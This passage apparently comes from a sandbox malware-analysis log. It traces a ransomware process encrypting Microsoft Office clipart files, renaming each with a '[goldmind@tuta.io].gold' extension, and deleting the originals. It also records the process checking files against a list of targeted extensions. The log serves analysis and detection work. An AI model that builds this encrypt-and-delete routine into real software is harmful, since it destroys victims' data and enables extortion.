dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.982] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.982] GetLastError () returned 0x0 [0094.982] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x32f2, lpOverlapped=0x0) returned 1 [0094.983] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3300, lpOverlapped=0x0) returned 1 [0094.984] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.984] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.984] SetEndOfFile (hFile=0x3b4) returned 1 [0094.984] CloseHandle (hObject=0x3b4) returned 1 [0094.985] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.985] SetEndOfFile (hFile=0x3b8) returned 1 [0094.989] CloseHandle (hObject=0x3b8) returned 1 [0094.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0094.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.989] lstrlenW (lpString=".doc") returned 4 [0094.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.989] lstrlenW (lpString=".docx") returned 5 [0094.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.989] lstrlenW (lpString=".pdf") returned 4 [0094.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.989] lstrlenW (lpString=".xls") returned 4 [0094.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.989] lstrlenW (lpString=".xlsx") returned 5 [0094.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.990] lstrlenW (lpString=".ppt") returned 4 [0094.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".zip") returned 4 [0094.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.990] lstrlenW (lpString=".rar") returned 4 [0094.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".bz2") returned 4 [0094.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".7z") returned 3 [0094.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".dbf") returned 4 [0094.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".1cd") returned 4 [0094.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".jpg") returned 4 [0094.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".doc") returned 4 [0094.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".docx") returned 5 [0094.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.990] lstrlenW (lpString=".pdf") returned 4 [0094.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".xls") returned 4 [0094.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.990] lstrlenW (lpString=".xlsx") returned 5 [0094.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.990] lstrlenW (lpString=".ppt") returned 4 [0094.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".zip") returned 4 [0094.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.990] lstrlenW (lpString=".rar") returned 4 [0094.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".bz2") returned 4 [0094.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString=".7z") returned 3 [0094.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".dbf") returned 4 [0094.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".1cd") returned 4 [0094.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0094.990] lstrlenW (lpString=".jpg") returned 4 [0094.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.991] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.991] lstrlenW (lpString="ED00172_.WMF") returned 12 [0094.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.991] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2700) returned 1 [0094.991] CloseHandle (hObject=0x3b8) returned 1 [0094.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0094.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.991] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.992] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.992] GetLastError () returned 0x0 [0094.992] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0095.055] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0095.065] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.065] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.065] SetEndOfFile (hFile=0x3b4) returned 1 [0095.144] CloseHandle (hObject=0x3b4) returned 1 [0095.144] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.144] SetEndOfFile (hFile=0x3b8) returned 1 [0095.146] CloseHandle (hObject=0x3b8) returned 1 [0095.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".doc") returned 4 [0095.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".docx") returned 5 [0095.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.193] lstrlenW (lpString=".pdf") returned 4 [0095.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".xls") returned 4 [0095.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.193] lstrlenW (lpString=".xlsx") returned 5 [0095.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.193] lstrlenW (lpString=".ppt") returned 4 [0095.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".zip") returned 4 [0095.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.193] lstrlenW (lpString=".rar") returned 4 [0095.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".bz2") returned 4 [0095.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".7z") returned 3 [0095.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".dbf") returned 4 [0095.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".1cd") returned 4 [0095.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".jpg") returned 4 [0095.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.193] lstrlenW (lpString=".doc") returned 4 [0095.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".docx") returned 5 [0095.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.193] lstrlenW (lpString=".pdf") returned 4 [0095.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.193] lstrlenW (lpString=".xls") returned 4 [0095.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.194] lstrlenW (lpString=".xlsx") returned 5 [0095.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.194] lstrlenW (lpString=".ppt") returned 4 [0095.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.194] lstrlenW (lpString=".zip") returned 4 [0095.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.194] lstrlenW (lpString=".rar") returned 4 [0095.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.194] lstrlenW (lpString=".bz2") returned 4 [0095.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.194] lstrlenW (lpString=".7z") returned 3 [0095.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.194] lstrlenW (lpString=".dbf") returned 4 [0095.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.194] lstrlenW (lpString=".1cd") returned 4 [0095.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0095.194] lstrlenW (lpString=".jpg") returned 4 [0095.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.194] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.194] lstrlenW (lpString="EN00006_.WMF") returned 12 [0095.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.221] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13936) returned 1 [0095.221] CloseHandle (hObject=0x3a4) returned 1 [0095.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0095.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.317] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.317] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0095.317] GetLastError () returned 0x0 [0095.318] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3670, lpOverlapped=0x0) returned 1 [0095.365] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3680, lpOverlapped=0x0) returned 1 [0095.365] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.365] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.366] SetEndOfFile (hFile=0x3a0) returned 1 [0095.366] CloseHandle (hObject=0x3a0) returned 1 [0095.366] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.366] SetEndOfFile (hFile=0x394) returned 1 [0095.367] CloseHandle (hObject=0x394) returned 1 [0095.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0095.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.368] lstrlenW (lpString=".doc") returned 4 [0095.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.368] lstrlenW (lpString=".docx") returned 5 [0095.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.368] lstrlenW (lpString=".pdf") returned 4 [0095.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.368] lstrlenW (lpString=".xls") returned 4 [0095.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.368] lstrlenW (lpString=".xlsx") returned 5 [0095.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.368] lstrlenW (lpString=".ppt") returned 4 [0095.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.368] lstrlenW (lpString=".zip") returned 4 [0095.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.368] lstrlenW (lpString=".rar") returned 4 [0095.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.368] lstrlenW (lpString=".bz2") returned 4 [0095.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString=".7z") returned 3 [0095.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".dbf") returned 4 [0095.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".1cd") returned 4 [0095.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".jpg") returned 4 [0095.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".doc") returned 4 [0095.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString=".docx") returned 5 [0095.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.369] lstrlenW (lpString=".pdf") returned 4 [0095.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString=".xls") returned 4 [0095.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.369] lstrlenW (lpString=".xlsx") returned 5 [0095.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.369] lstrlenW (lpString=".ppt") returned 4 [0095.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".zip") returned 4 [0095.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.369] lstrlenW (lpString=".rar") returned 4 [0095.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString=".bz2") returned 4 [0095.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString=".7z") returned 3 [0095.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".dbf") returned 4 [0095.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".1cd") returned 4 [0095.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0095.369] lstrlenW (lpString=".jpg") returned 4 [0095.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.369] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.369] lstrlenW (lpString="FD00074_.WMF") returned 12 [0095.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.379] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17850) returned 1 [0095.379] CloseHandle (hObject=0x3c4) returned 1 [0095.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0095.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.381] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.381] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 